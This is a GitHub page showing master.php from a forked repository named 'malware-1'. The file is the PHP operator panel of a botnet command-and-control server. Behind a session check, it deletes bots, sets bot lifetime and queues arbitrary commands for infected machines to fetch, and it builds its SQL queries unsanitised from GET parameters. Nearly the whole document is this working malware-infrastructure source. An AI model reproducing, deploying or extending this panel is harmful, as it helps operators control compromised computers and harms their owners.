forked from Artogn/malware-1
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmaster.php
61 lines (43 loc) · 1.7 KB
/
master.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<html>
<body bgcolor="#C8C8C8">
<center>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get"> <!-- We are posting in same page so it can get reloaded when we change the settings -->
<b>Command:</b> <input type="text" name="command" size="40" />
<b>Value:</b> <input type="text" name="Value" size="40" />
</br>
<input type="submit" name="submit" value="SET!" />
</form>
</body>
<?php
session_start();
if(!isset($_SESSION['loggedin']))
{
die();
}
//includes
include ("config.php");
if(!empty($_GET["del"])) {
$UID = $_GET["del"];
$del = "DELETE FROM `" . $dbname . "`.`bots` WHERE `UID` LIKE '$UID'";
mysql_query($del);
}
//////////////////////////
//Command insert handling
if(!empty($_GET["command"])) {
if(!empty($_GET["Value"])) { $Value = trim($_GET["Value"],' '); } else { $Value = ""; }
if($_GET["command"]=="set-botlife") { //SET BOT LIFE IN MINUTES
$query = "UPDATE `" . $dbname . "`.`config`SET`Cnf_ValueInt`='$Value' WHERE`config`.`Cnf_Name`='BotLife' ";
mysql_query($query);
} else if($_GET["command"]=="set-botsperpage") { //SET AMOUNT OF BOT'S ROWS PER PAGE
$query = "UPDATE `" . $dbname . "`.`config`SET `Cnf_ValueInt`='$Value' WHERE`config`.`Cnf_Name`='BotsPerPage' ";
mysql_query($query);
} else { //Insert command for bots
$Command = trim($_GET["command"]);
$InsertTime = time();
$insert = "INSERT INTO `" . $dbname . "`.`commands` (`UID`, `Command`, `InsertTime`) VALUES ('$Value', '$Command', '$InsertTime')";
mysql_query($insert);
}
} //Inserting command
include ("pagination.php"); //Include is here so the pagination.php can be refreshed after subimiting command to change the statistics
//////////////////////////////////
?>